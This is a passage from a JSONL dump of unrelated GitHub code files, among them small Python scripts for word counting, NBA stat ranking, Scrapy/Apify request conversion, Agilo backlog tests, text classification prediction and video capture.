\"Expr\",\n]\n","repo_name":"musevarg/Transportation-Management-System","sub_path":"API-and-Admin-Panel/App/venv/lib/python3.6/site-packages/mysqlx/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9913,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"54"} +{"seq_id":"6742131255","text":"def word_count():\n f=open(\"words.txt\",\"r\")\n count=0\n print(\"10자 이하인 단어:\")\n for line in f:\n word = line.split('\\n')\n if len(word[0]) <= 10:\n count +=1\n print(word[0])\n \n print()\n print(\"10자 이하인 단어의 갯수 :\",count)\n f.close()\n\n\nword_count()\n","repo_name":"ds02168/Python_Study","sub_path":"10자 이하 단어 갯수/21712184_유태형.py","file_name":"21712184_유태형.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"45134914150","text":"#(上海分行的需求)\n#输入:result.txt文件\n#输出:切割好的多个文件,以每行的固定编号命名(具体可以修改),后缀名字.txt\ndef find_string(s,t):\n try:\n nPos=s.index(t)\n return nPos\n except(ValueError):\n return -1\n#“result文件所在的位置”\ninfilename=\"C:\\\\Users\\\\41951\\\\Desktop\\\\result.txt\"\ninputfile = open(infilename, 'r', encoding=\"utf-8\")\nlines=inputfile.readlines()\nfindstartindex='\"w\"'\nfindendindex='\"wb\"'\nfor line in lines:\n nstartPos=find_string(line,findstartindex)\n nendPos = find_string(line, findendindex)\n if nstartPos!=-1 and nendPos!=-1:\n # print(nstartPos)\n # print(nendPos)\n code=line[87:113]\n print(code)\n #输出文件写出的位置\n name='C:\\\\Users\\\\41951\\\\Desktop\\\\'+line[19:82]+'+'+code+'.txt'\n file_out=open(name,'w', encoding=\"utf-8\")\n str=line[nstartPos+5:nendPos-2]\n file_out.write(str)\n file_out.close()\n else:\n continue\n\n","repo_name":"yinizhilian/pxj-pro-for-SHFH","sub_path":"stringcutwithline.py","file_name":"stringcutwithline.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3476242726","text":"import logging\nimport sys\nfrom datetime import date, timedelta\n\nimport mysql\n\nfrom shared.dfs_constants import DFSConstants\nfrom models.defense_vs_position_manager import DefenseVsPositionManager\nfrom models.defense_vs_position import DefenseVsPosition\n\n\nclass DvPRankCalculator:\n\tdef __init__(self, cnx=None):\n\t\tif not cnx:\n\t\t\tself.cnx = mysql.connector.connect(user='fantasy', password='fantasy', host='localhost', database='basketball_reference')\n\t\telse:\n\t\t\tself.cnx = cnx\n\n\t\tself.dvp_manager = DefenseVsPositionManager(cnx=self.cnx)\n\n\t\tself.ranked_dvps = {}\n\t\tself.one_day = timedelta(days=1)\n\n\t\tself.season = date.today().year\n\t\tself.yesterday_only = False\n\n\tdef read_cli(self):\n\t\tfor arg in sys.argv:\n\t\t\tif arg == \"calculate_dvp_rank.py\":\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tpieces = arg.split(\"=\")\n\t\t\t\tif pieces[0] == \"season\":\n\t\t\t\t\tself.season = int(pieces[1])\n\t\t\t\telif pieces[0] == \"yesterday_only\":\n\t\t\t\t\tself.yesterday_only = pieces[1] == \"true\"\n\n\tdef calculate(self, season=None, yesterday_only=False):\n\t\t# self.get_existing_ranks(season)\n\n\t\tcursor = self.cnx.cursor()\n\n\t\ttry:\n\t\t\tmetrics = [DFSConstants.FANTASY_POINTS, DFSConstants.POINTS, DFSConstants.FIELD_GOALS,\n\t\t\t\t\t\tDFSConstants.FIELD_GOAL_ATTEMPTS, DFSConstants.THREE_POINT_FIELD_GOALS,\n\t\t\t\t\t\tDFSConstants.THREE_POINT_FIELD_GOAL_ATTEMPTS, DFSConstants.FREE_THROWS, DFSConstants.FREE_THROW_ATTEMPTS,\n\t\t\t\t\t\tDFSConstants.TOTAL_REBOUNDS, DFSConstants.ASSISTS, DFSConstants.STEALS,\n\t\t\t\t\t\tDFSConstants.BLOCKS, DFSConstants.TURNOVERS]\n\t\t\tpositions = [\"PG\", \"SG\", \"SF\", \"PF\", \"C\"]\n\t\t\tteam_dates = []\n\n\t\t\t# Get all teams for season\n\t\t\tteams = []\n\t\t\tquery = \"select distinct team from team_game_totals where season = {}\".format(season)\n\n\t\t\tcursor.execute(query)\n\t\t\tfor result in cursor:\n\t\t\t\tteams.append(result[0])\n\n\t\t\t# Get all teams that played on each date\n\t\t\tif yesterday_only:\n\t\t\t\tteam_dates.append(date.today() - self.one_day)\n\t\t\telse:\n\t\t\t\tquery = \"select distinct date from team_game_totals where season = {} order by date\".format(season)\n\t\t\t\tcursor.execute(query)\n\t\t\t\tfor result in cursor:\n\t\t\t\t\tteam_dates.append(result[0])\n\n\t\t\tfor metric in metrics:\n\t\t\t\tfor position in positions:\n\t\t\t\t\tsites = [None]\n\t\t\t\t\tif metric == DFSConstants.FANTASY_POINTS:\n\t\t\t\t\t\tsites = [DFSConstants.DRAFT_DAY, DFSConstants.DRAFT_KINGS, DFSConstants.FAN_DUEL, DFSConstants.STAR_STREET]\n\t\t\t\t\tfor site in sites:\n\t\t\t\t\t\tfor d in team_dates:\n\t\t\t\t\t\t\tranks = []\n\t\t\t\t\t\t\tdvp_val_map = {} # Associates the DvP value with the actual DefenseVsPosition object.\n\t\t\t\t\t\t\tfor t in teams:\n\t\t\t\t\t\t\t\tlogging.info(\"Processing {}/{}/{}/{}/{}\".format(metric, position, site, d, t))\n\t\t\t\t\t\t\t\tdvp = self.dvp_manager.calculate_defense_vs_position(metric, position, t, season, site, d)\n\t\t\t\t\t\t\t\tif dvp:\n\t\t\t\t\t\t\t\t\tranks.append((dvp.value, t))\n\t\t\t\t\t\t\t\t\tdvp_val_map[\"{}_{}\".format(dvp.value, t)] = dvp\n\n\t\t\t\t\t\t\t# Sort the results in ascending order (lowest value at element 0).\n\t\t\t\t\t\t\tranks.sort()\n\n\t\t\t\t\t\t\t# Put the results in the cache. We only want the ranking, so we're going to\n\t\t\t\t\t\t\t# put the index i in the cache instead of the actual value.\n\t\t\t\t\t\t\ti = 1\n\t\t\t\t\t\t\tfor r in ranks:\n\t\t\t\t\t\t\t\tdvp = dvp_val_map[\"{}_{}\".format(r[0], r[1])]\n\t\t\t\t\t\t\t\tdvp.rank = i\n\t\t\t\t\t\t\t\tself.dvp_manager.update(dvp)\n\t\t\t\t\t\t\t\ti += 1\n\t\tfinally:\n\t\t\tcursor.close()\n\n\tdef get_existing_ranks(self, season):\n\t\t\"\"\"\n\t\tFigure out which DvP entries don't have ranks. It'll take forever to process\n\t\tall of them, even for a single season.\n\t\t\"\"\"\n\t\tall_dvps = self.dvp_manager.get(DefenseVsPosition(season=season))\n\n\t\tfor dvp in all_dvps:\n\t\t\tif dvp.rank:\n\t\t\t\tself.ranked_dvps[\"{}_{}_{}_{}_{}_{}\".format(dvp.stat, dvp.position, dvp.site, dvp.team, dvp.season, dvp.date)]\n\nif __name__ == '__main__':\n\tlogging.basicConfig(level=logging.INFO)\n\n\tcalculator = DvPRankCalculator()\n\tcalculator.read_cli()\n\tcalculator.calculate(calculator.season, calculator.yesterday_only)","repo_name":"dmaclean/dfs-python","sub_path":"nba/calculate_dvp_rank.py","file_name":"calculate_dvp_rank.py","file_ext":"py","file_size_in_byte":3830,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"54"} +{"seq_id":"15080300040","text":"import sys\ninput = sys.stdin.readline\n\nn = int(input())\narr = [ int(_) for _ in input().split() ]\n\nswap = False\n\nfor i in range(n-1,0,-1):\n if arr[i-1] > arr[i]:\n swap = i-1\n break\n\nif swap is False :\n print(-1)\n sys.exit()\n\n\nidx = arr.index(max([ _ for _ in arr[swap+1:] if _ < arr[swap] ]))\n# print(arr)\n# print(idx)\narr[swap],arr[idx] = arr[idx],arr[swap]\narr[swap+1:] = sorted(arr[swap+1:],reverse=True) \nprint(*arr)\n\n\n# 4 3 2 1\n# 4 3 1 2\n# 4 2 3 1\n# 4 2 1 3\n# 4 1 3 2\n# 4 1 2 3","repo_name":"ohtaehyun/algo_study","sub_path":"10973.py","file_name":"10973.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8615780815","text":"# my code\n\nm, n = map(int, input().split())\n\ndic = {'1' : 'one', '2':'two', '3':'three', '4':'four', '5':'five', '6':'six', '7':'seven',\n '8':'eight', '9':'nine', '0':'zero'}\n\nlists = []\nfor i in range(m, n+1):\n word = str(i)\n \n if len(word) == 1:\n ans = dic[word]\n lists.append([i, ans])\n else:\n ans1 = dic[word[0]]\n ans2 = dic[word[1]]\n ans = ans1 + ans2\n lists.append([i, ans])\n\nlists.sort(key = lambda x: x[1])\n\nfor j in range(len(lists)):\n if (j+1) % 10 == 0:\n print(lists[j][0], end = ' ')\n print()\n else:\n print(lists[j][0], end = ' ')\n","repo_name":"inni-iii/Algorithm","sub_path":"coding with python/baekjoon/1755.py","file_name":"1755.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"563795800","text":"import asyncio\n\nfrom scrapy import Request\n\nfrom apify import Actor\nfrom apify.storages import RequestQueue, StorageClientManager\n\nnested_event_loop: asyncio.AbstractEventLoop = asyncio.new_event_loop()\n\n\ndef to_apify_request(scrapy_request: Request) -> dict:\n \"\"\"\n Convert a Scrapy request to an Apify request.\n\n Args:\n scrapy_request: The Scrapy request to be converted.\n\n Returns:\n The converted Apify request.\n \"\"\"\n apify_request_id = None\n if scrapy_request.meta.get('apify_request_id'):\n apify_request_id = scrapy_request.meta.pop('apify_request_id')\n\n apify_request_unique_key = None\n if scrapy_request.meta.get('apify_request_unique_key'):\n apify_request_unique_key = scrapy_request.meta.pop('apify_request_unique_key')\n\n apify_request = {\n 'url': scrapy_request.url,\n 'method': scrapy_request.method,\n 'userData': {\n 'meta': scrapy_request.meta,\n },\n }\n\n if apify_request_id:\n apify_request['id'] = apify_request_id\n\n if apify_request_unique_key:\n apify_request['uniqueKey'] = apify_request_unique_key\n\n return apify_request\n\n\ndef to_scrapy_request(apify_request: dict) -> Request:\n \"\"\"\n Convert an Apify request to a Scrapy request.\n\n Args:\n apify_request: The Apify request to be converted.\n\n Returns:\n The converted Scrapy request.\n \"\"\"\n scrapy_request = {\n 'url': apify_request['url'],\n 'meta': {\n 'apify_request_id': apify_request['id'],\n 'apify_request_unique_key': apify_request['uniqueKey'],\n },\n }\n\n if apify_request.get('method'):\n scrapy_request['method'] = apify_request['method']\n\n if apify_request.get('userData'):\n assert isinstance(apify_request['userData'], dict)\n if apify_request['userData'].get('meta'):\n assert isinstance(apify_request['userData']['meta'], dict)\n scrapy_request['meta'] = {\n **scrapy_request['meta'],\n **apify_request['userData']['meta'],\n }\n\n return Request(**scrapy_request)\n\n\ndef get_running_event_loop_id() -> int:\n \"\"\"\n Get the ID of the currently running event loop.\n\n It could be useful mainly for debugging purposes.\n\n Returns:\n The ID of the event loop.\n \"\"\"\n return id(asyncio.get_running_loop())\n\n\nasync def open_queue_with_custom_client() -> RequestQueue:\n \"\"\"\n Open a Request Queue with custom Apify Client.\n\n TODO: add support for custom client to Actor.open_request_queue(), so that\n we don't have to do this hacky workaround\n \"\"\"\n # Create a new Apify Client with its httpx client in the custom event loop\n custom_loop_apify_client = Actor.new_client()\n\n # Set the new Apify Client as the default client, back up the old client\n old_client = Actor.apify_client\n StorageClientManager.set_cloud_client(custom_loop_apify_client)\n\n # Create a new Request Queue in the custom event loop,\n # replace its Apify client with the custom loop's Apify client\n rq = await Actor.open_request_queue()\n\n if Actor.config.is_at_home:\n rq._request_queue_client = custom_loop_apify_client.request_queue(\n rq._id, client_key=rq._client_key,\n )\n\n # Restore the old Apify Client as the default client\n StorageClientManager.set_cloud_client(old_client)\n return rq\n","repo_name":"apify/scrapy-migrator","sub_path":"injectables/{projectFolder}/apify/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4761616062","text":"import agilo.utils.filterwarnings\n\nfrom agilo.scrum.backlog.json_ui import BacklogInfoJSONView\nfrom agilo.test import AgiloTestCase, Usernames\nfrom agilo.utils.config import AgiloConfig\nfrom agilo.utils.constants import Key, BacklogType, Action, Role\nfrom agilo.utils.days_time import date_to_datetime, now, today\n\nfrom datetime import timedelta\n\n\nclass BacklogInfoTest(AgiloTestCase):\n def setUp(self):\n self.super()\n self.req = self.teh.mock_request(username=Usernames.team_member)\n self.json_view = BacklogInfoJSONView(self.env)\n \n def _create_sprint_backlog(self):\n self.sprint_backlog_name = 'Fnord Backlog'\n self.sprint_name = 'Sprint Name'\n self.teh.create_sprint(self.sprint_name)\n return self.teh.create_backlog(self.sprint_backlog_name,\n scope=self.sprint_name, b_type=BacklogType.SPRINT)\n \n def backlog_info(self):\n view = BacklogInfoJSONView(self.env)\n return view.backlog_info_for_backlog(self.req, self.backlog)['content']\n\n\nclass CanFetchBacklogInfoTest(BacklogInfoTest):\n \n def test_can_fetch_global_backlog_by_name(self):\n self.global_backlog_name = 'Global Backlog'\n self.teh.create_backlog(self.global_backlog_name)\n \n backlog_info = self.json_view.backlog_info(self.req, Key.GLOBAL, self.global_backlog_name)\n self.assert_not_none(backlog_info)\n \n def test_can_fetch_sprint_backlog(self):\n self._create_sprint_backlog()\n backlog_info = self.json_view.backlog_info(self.req, self.sprint_name, self.sprint_backlog_name)\n self.assert_not_none(backlog_info)\n \n def test_has_sprint_and_name(self):\n backlog = self._create_sprint_backlog()\n backlog_info = self.json_view._backlog_info_content(self.req, backlog)\n self.assert_equals('sprint', backlog_info['type'])\n self.assert_equals(self.sprint_backlog_name, backlog_info['name'])\n self.assert_equals(self.sprint_name, backlog_info['sprint_or_release'])\n \n def test_has_username(self):\n backlog = self.teh.create_backlog()\n req = self.teh.mock_request('fnord_user')\n backlog_info = self.json_view._backlog_info_content(req, backlog)\n self.assert_equals('fnord_user', backlog_info['username'])\n\n\n\nclass BacklogInfoContainsPermissionsTest(BacklogInfoTest):\n \n def access_rights_for_backlog(self, backlog, req=None):\n if req is None:\n req = self.req\n return self.json_view._backlog_info_content(req, backlog)['access_control']\n \n def permissions_for_backlog(self, backlog, req=None):\n return self.json_view.backlog_info_for_backlog(req or self.req, backlog)['permissions']\n \n def test_can_see_read_only_backlog_if_enough_rights_are_available(self):\n self.teh.grant_permission(Usernames.team_member, Action.BACKLOG_EDIT)\n backlog = self.teh.create_backlog()\n backlog_access = self.access_rights_for_backlog(backlog)\n self.assert_equals('', backlog_access['reason'])\n self.assert_false(backlog_access['is_read_only'])\n \n def test_gets_read_only_backlog_for_ended_sprint(self):\n # ensure it ends before the weekend so the test doesn't fail on mondays...\n sprint_start = date_to_datetime(today() - timedelta(days=4))\n sprint_end = sprint_start + timedelta(days=1)\n sprint = self.teh.create_sprint(name='fnord', start=sprint_start, end=sprint_end)\n self.assert_smaller_than(sprint.end, date_to_datetime(today()))\n backlog = self.teh.create_backlog(scope=sprint.name, b_type=BacklogType.SPRINT)\n backlog_access = self.access_rights_for_backlog(backlog)\n self.assert_true(backlog_access['is_read_only'])\n self.assert_equals('Cannot modify sprints that have ended.', backlog_access['reason'])\n \n def test_gets_read_only_backlog_for_running_sprint_with_too_few_rights(self):\n sprint = self.teh.create_sprint(name='fnord')\n backlog = self.teh.create_backlog(scope=sprint.name, b_type=BacklogType.SPRINT)\n backlog_access = self.access_rights_for_backlog(backlog)\n self.assert_true(backlog_access['is_read_only'])\n self.assert_equals('Not enough permissions to modify this sprint.', backlog_access['reason'])\n \n def test_gets_read_only_backlog_for_global_backlog_with_too_few_rights(self):\n backlog = self.teh.create_backlog()\n backlog_access = self.access_rights_for_backlog(backlog)\n self.assert_true(backlog_access['is_read_only'])\n self.assert_equals('Not enough permissions to modify this backlog.', backlog_access['reason'])\n \n def test_not_read_only_if_sprint_not_started(self):\n self.teh.grant_permission(Usernames.team_member, Action.BACKLOG_EDIT)\n sprint = self.teh.create_sprint(name='fnord', start=date_to_datetime(today() + timedelta(3)))\n backlog = self.teh.create_backlog(scope=sprint.name, b_type=BacklogType.SPRINT)\n backlog_access = self.access_rights_for_backlog(backlog)\n self.assert_false(backlog_access['is_read_only'], backlog_access['reason'])\n \n def test_add_confirm_commitment_for_sprint_backlogs(self):\n team = self.teh.create_team('fnord team')\n sprint = self.teh.create_sprint(name='fnord', start=now(), team=team)\n self.teh.grant_permission(Usernames.team_member, Action.CONFIRM_COMMITMENT)\n \n sprint_backlog = self.teh.create_backlog(scope=sprint.name, b_type=BacklogType.SPRINT)\n permissions = self.permissions_for_backlog(sprint_backlog)\n self.assert_contains('AGILO_CONFIRM_COMMITMENT', permissions)\n \n global_backlog = self.teh.create_backlog_without_tickets('FooBacklog', BacklogType.GLOBAL)\n permissions = self.permissions_for_backlog(global_backlog)\n self.assert_not_contains('AGILO_CONFIRM_COMMITMENT', permissions)\n\n\nclass BacklogInfoContainsConfigurationTest(BacklogInfoTest):\n \n def setUp(self):\n self.super()\n self.backlog = self._create_sprint_backlog()\n self.SHOULD_RELOAD = 'should_reload_burndown_on_filter_change_when_filtering_by_component'\n \n def test_returns_configured_columns(self):\n self.backlog.config.backlog_columns = ['foo:editable', 'bar:editable|baz']\n info = self.json_view._backlog_info_content(self.req, self.backlog)\n self.assert_equals(info['configured_columns']['columns'], ['id', 'summary', 'foo', ['bar', 'baz']])\n \n def test_returns_human_readable_names(self):\n # Still a pretty basic test, but better than nothing\n self.backlog.config.backlog_columns = ['summary:editable', 'sprint:editable', 'roif']\n info = self.json_view._backlog_info_content(self.req, self.backlog)\n \n expected = {\n 'id': 'ID', \n 'summary' : 'Summary', \n 'sprint': 'Sprint', \n 'roif': 'Roif'\n }\n self.assert_equals(expected, info['configured_columns']['human_readable_names'])\n \n def test_returns_configured_ticket_type_aliases(self):\n self.env.config.set('agilo-types', 'story.alias', 'Fnord')\n AgiloConfig(self.env).reload()\n info = self.json_view._backlog_info_content(self.req, self.backlog)\n self.assert_equals('Fnord', info['type_aliases']['story'])\n \n def test_returns_no_filtering_setting_when_disabled(self):\n info = self.json_view._backlog_info_content(self.req, self.backlog)\n self.assert_not_contains('should_filter_by_attribute', info.keys())\n self.assert_not_contains(self.SHOULD_RELOAD, info.keys())\n \n def test_returns_filtering_setting(self):\n self.env.config.set('agilo-general', 'backlog_filter_attribute', 'owner')\n info = self.json_view._backlog_info_content(self.req, self.backlog)\n self.assert_contains('should_filter_by_attribute', info.keys())\n self.assert_equals('owner', info['should_filter_by_attribute'])\n \n def test_returns_reload_setting(self):\n self.env.config.set('agilo-general', 'backlog_filter_attribute', 'owner')\n self.env.config.set('agilo-general', self.SHOULD_RELOAD, True)\n info = self.json_view._backlog_info_content(self.req, self.backlog)\n self.assert_contains(self.SHOULD_RELOAD, info.keys())\n self.assert_true(info[self.SHOULD_RELOAD])\n \n\nclass BacklogInfoContainsInformationAboutTicketFieldsTest(BacklogInfoTest):\n \n def setUp(self):\n self.super()\n self.sprint = self.teh.create_sprint('fnord', team=\"fnord\")\n self.backlog = self.teh.create_backlog_without_tickets('Foo', BacklogType.SPRINT, scope=self.sprint.name)\n \n def ticket_fields(self):\n return self.backlog_info()['ticket_fields']\n \n def field_with_name(self, fieldname):\n if fieldname not in self.ticket_fields():\n raise AssertionError\n return self.ticket_fields()[fieldname]\n \n def test_contains_field_information(self):\n self.assert_contains('ticket_fields', self.backlog_info())\n self.assert_equals({'type': 'text', 'label': 'Summary'},\n self.field_with_name(Key.SUMMARY))\n self.assert_dict_contains({'type': 'select', \n 'value': '', 'options': [u'component1', u'component2']}, \n self.field_with_name(Key.COMPONENT))\n \n def test_contains_list_of_calculated_properties(self):\n self.assert_contains('total_remaining_time', self.ticket_fields())\n field = self.ticket_fields()['total_remaining_time']\n expected_field = dict(is_calculated=True, type='text', label='Total Remaining Time')\n self.assert_dict_contains(expected_field, field)\n\n def test_backlog_info_has_owner_as_text_if_restrict_owner_is_not_set(self):\n self.assert_contains('owner', self.ticket_fields())\n owner_field = self.ticket_fields()['owner']\n self.assert_equals(\"text\", owner_field[\"type\"])\n self.assert_not_contains(\"options\", owner_field)\n\n def _ticket_fields_for_restrict_owner(self):\n self.env.config.set('ticket', 'restrict_owner', 'true')\n AgiloConfig(self.env).reload()\n return self.ticket_fields()\n\n def test_backlog_info_has_owner_as_select_if_owner_restrict_is_enabled(self):\n ticket_fields = self._ticket_fields_for_restrict_owner()\n self.assert_contains('owner', ticket_fields)\n owner_field = ticket_fields['owner']\n self.assert_equals(\"select\", owner_field[\"type\"])\n\n def test_global_backlog_info_contains_users_as_options(self):\n self.backlog = self.teh.create_backlog_without_tickets('Global', BacklogType.GLOBAL)\n user_name = \"member\"\n self.teh.create_member(user_name)\n self.teh.emulate_login(user_name)\n\n owner_fields = self._ticket_fields_for_restrict_owner()['owner']\n self.assert_contains('options', owner_fields)\n self.assert_contains(user_name, owner_fields['options'])\n\n def test_sprint_backlog_info_contains_team_members_if_restrict_is_enabled(self):\n team_member_name = \"member\"\n self.teh.create_member(team_member_name, team=self.sprint.team)\n self.teh.emulate_login(team_member_name)\n\n owner_fields = self._ticket_fields_for_restrict_owner()['owner']\n self.assert_contains('options', owner_fields)\n self.assert_contains(team_member_name, owner_fields['options'])\n\n def test_sprint_backlog_info_does_not_contain_others_if_restrict_is_enabled(self):\n other_name = \"fnord\"\n self.teh.create_member(other_name)\n self.teh.emulate_login(other_name)\n\n owner_fields = self._ticket_fields_for_restrict_owner()['owner']\n self.assert_contains('options', owner_fields)\n self.assert_not_contains(other_name, owner_fields['options'])\n\n def test_sprint_backlog_info_invalidates_caches_when_adding_new_members(self):\n previous_owner_fields = self._ticket_fields_for_restrict_owner()['owner']\n team_member_name = \"member\"\n self.teh.create_member(team_member_name, team=self.sprint.team)\n self.teh.emulate_login(team_member_name)\n\n owner_fields = self._ticket_fields_for_restrict_owner()['owner']\n self.assert_contains('options', owner_fields)\n self.assert_contains(team_member_name, owner_fields['options'])\n\n","repo_name":"djangsters/agilo","sub_path":"agilo/scrum/backlog/tests/backlog_info_test.py","file_name":"backlog_info_test.py","file_ext":"py","file_size_in_byte":12396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"22508105640","text":"from simpletransformers.classification import ClassificationModel, ClassificationArgs\r\nimport pandas as pd\r\nimport logging\r\nimport time\r\nimport torch\r\n\r\n\r\nclass Predict:\r\n\r\n test_data = []\r\n list_result = []\r\n\r\n def __init__(self, model, model_name, batch_size, epoch):\r\n\r\n self.model = model\r\n self.model_name = model_name\r\n self.batch_size = batch_size\r\n self.epoch = epoch\r\n\r\n def do(self):\r\n\r\n self.log()\r\n self.predict_csv_get('test.csv')\r\n out_put_dir = self.predict_model_set()\r\n model_name = self.model_args_set(out_put_dir)\r\n self.predict_result(model_name)\r\n self.write_predict_result_to_csv(out_put_dir)\r\n\r\n @staticmethod\r\n def log():\r\n logging.basicConfig(level=logging.INFO)\r\n transformers_logger = logging.getLogger(\"transformers\")\r\n transformers_logger.setLevel(logging.WARNING)\r\n print(f\"是否使用 GPU:{torch.cuda.is_available()}\")\r\n\r\n @classmethod\r\n def predict_csv_get(cls, csv_name):\r\n test_csv = pd.read_csv(csv_name)\r\n list_dataset = test_csv.values.tolist()\r\n for dataset in list_dataset:\r\n cls.test_data.append(dataset[1])\r\n\r\n def predict_model_set(self):\r\n output_dir = f\"outputs/{self.model}-bs-{self.batch_size}-ep-{self.epoch}-cls-model/\"\r\n return output_dir\r\n\r\n def model_args_set(self, output_dir):\r\n model_args = ClassificationArgs()\r\n model_args.train_batch_size = self.batch_size\r\n model_args.num_train_epochs = self.epoch\r\n model_args.overwrite_output_dir = True\r\n model_args.reprocess_input_data = True\r\n model_args.use_multiprocessing = True\r\n model_args.save_model_every_epoch = True\r\n model_args.output_dir = output_dir\r\n\r\n model = ClassificationModel(\r\n model_type=self.model,\r\n model_name=self.model_name,\r\n use_cuda=torch.cuda.is_available(),\r\n cuda_device=0,\r\n args=model_args\r\n )\r\n\r\n return model\r\n\r\n @classmethod\r\n def predict_result(cls, model):\r\n predictions, raw_outputs = model.predict(cls.test_data)\r\n\r\n for index, sentiment in enumerate(predictions):\r\n cls.list_result.append([cls.test_data[index][0], sentiment])\r\n\r\n def write_predict_result_to_csv(self, out_put_dir):\r\n\r\n result_df = pd.DataFrame(self.list_result)\r\n result_df.columns = [\"ID\", \"sentiment\"]\r\n result_df.to_csv(out_put_dir, index=False)\r\n\r\n\r\n\r\n\r\n# def __init__(self, model, model_name, batch_size, epoch):\r\ngo = Predict('roberta', 'roberta-base', 38, 47)\r\n\r\nif __name__ == '__main__':\r\n go.do()\r\n\r\n\r\n\r\n\r\n\r\n\r\n# tensorboard\r\n# tensorboard --logdir=D:\\PycharmProjects\\CodingLife\\Aidea\\runs\\Jul25_09-06-37_DESKTOP-NEV29I7\r\n# tensorboard --logdir=D:\\PycharmProjects\\CodingLife\\Aidea\\runs\\Jul26_00-04-42_DESKTOP-NEV29I7\r\n# tensorboard --logdir=D:\\PycharmProjects\\CodingLife\\Aidea\\runs\\Jul26_14-06-30_DESKTOP-NEV29I7\r\n# tensorboard --logdir=D:\\PycharmProjects\\CodingLife\\BDSE20\\runs\\Sep09_17-56-00_DESKTOP-NEV29I7\r\n","repo_name":"ElegonYang/NLP_Text-categorization","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":3091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2315297848","text":"# 0213.py\nimport cv2, pafy\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\nurl = 'https://www.youtube.com/watch?v=u_Q7Dkl7AIk'\nvideo = pafy.new(url)\nprint('title = ', video.title)\nprint('video.rating = ', video.rating)\nprint('video.duration = ', video.duration)\n\nbest = video.getbest(preftype='mp4') # 'mp4','3gp'\nprint('best.resolution', best.resolution)\n\ncap=cv2.VideoCapture(best.url)\n\nclass Video:\n def __init__(self, device=0):\n self.cap = cv2.VideoCapture(device)\n self.retval, self.frame = self.cap.read()\n self.im = plt.imshow(cv2.cvtColor(self.frame, cv2.COLOR_BGR2RGB))\n print('start capture ...')\n\n def updateFrame(self, k):\n self.retval, self.frame = self.cap.read()\n self.im.set_array(cv2.cvtColor(camera.frame, cv2.COLOR_BGR2RGB))\n\n # return self.im,\n\n def close(self):\n if self.cap.isOpened():\n self.cap.release()\n print('finish capture.')\n\n\n# 프로그램 시작\nfig = plt.figure()\nfig.canvas.set_window_title('Video Capture')\nplt.axis(\"off\")\n\ncamera = Video()\n##camera = Video('./data/vtest.avi')\nani = animation.FuncAnimation(fig, camera.updateFrame, interval=50)\nplt.show()\ncamera.close()","repo_name":"MysteriousSonOfGod/Opencv","sub_path":"Opencv_Ex_14.py","file_name":"Opencv_Ex_14.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6569422555","text":"\n\"\"\"\nUsage:\n main.py [--route_color=]\n main.py -h | --help | --version\n\nExample:\n python main.py /path-to-current-folder/test_graph.json A F --route_color=GREEN\n --> A->B->C->G->I->F\n\n python main.py /path-to-current-folder/test_graph.json A F --route_color=RED\n --> A->B->C->H->F\n\n python main.py /path-to-current-folder/test_graph.json A F\n --> A->B->C->D->E->F\n\n\"\"\"\nfrom docopt import docopt\nfrom pathlib import PurePosixPath, Path\nfrom graph_tools import Color, ColoredGraph\n\n\nif __name__ == '__main__':\n arguments = docopt(__doc__, version=\"0.1\")\n path_to_json = arguments.get('')\n source = arguments.get('')\n destination = arguments.get('')\n route_color_name = arguments.get('--route_color', None)\n route_color = Color(name=route_color_name) if route_color_name else None\n colored_graph = ColoredGraph()\n colored_graph.load_from_json(Path(path_to_json))\n\n source_node = colored_graph.get_node_by_label(source)\n destination_node = colored_graph.get_node_by_label(destination)\n path_from_source_to_dest = colored_graph.get_shortest_path_to_node(\n source=source_node, \n dest=destination_node, \n route_color=route_color)\n verbose_path = ('->').join([node.label for node in path_from_source_to_dest ])\n print(verbose_path)\n","repo_name":"luismontanaresm/colorized-dijkstra","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37365806788","text":"from django.urls import path\nfrom vpmodoc import views\n\napp_name = \"vpmodoc\"\n\nurlpatterns = [\n\tpath(\"api/node_documents//\", views.NodeDocumentsListView.as_view(), name=\"node_documents_list\"),\n\tpath(\"api/document_management_view//\", views.DocumentManagementView.as_view(), name=\"document_management\"),\n\tpath(\"api/create_document//\", views.CreateDocumentView.as_view(), name=\"create_document\"),\n\tpath(\"api/delete_document///\", views.DestroyDocumentView.as_view(), name=\"destroy_document\")\n]\n\n","repo_name":"gingerComms/vpmo","sub_path":"vpmodoc/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1219967571","text":"from __future__ import annotations\n\nfrom enum import unique\nfrom typing import Optional\n\nfrom dl_api_commons.base_models import TenantDef\nfrom dl_api_connector.form_config.models.api_schema import (\n FormActionApiSchema,\n FormApiSchema,\n FormFieldApiSchema,\n)\nfrom dl_api_connector.form_config.models.base import (\n ConnectionForm,\n ConnectionFormFactory,\n ConnectionFormMode,\n)\nfrom dl_api_connector.form_config.models.common import (\n 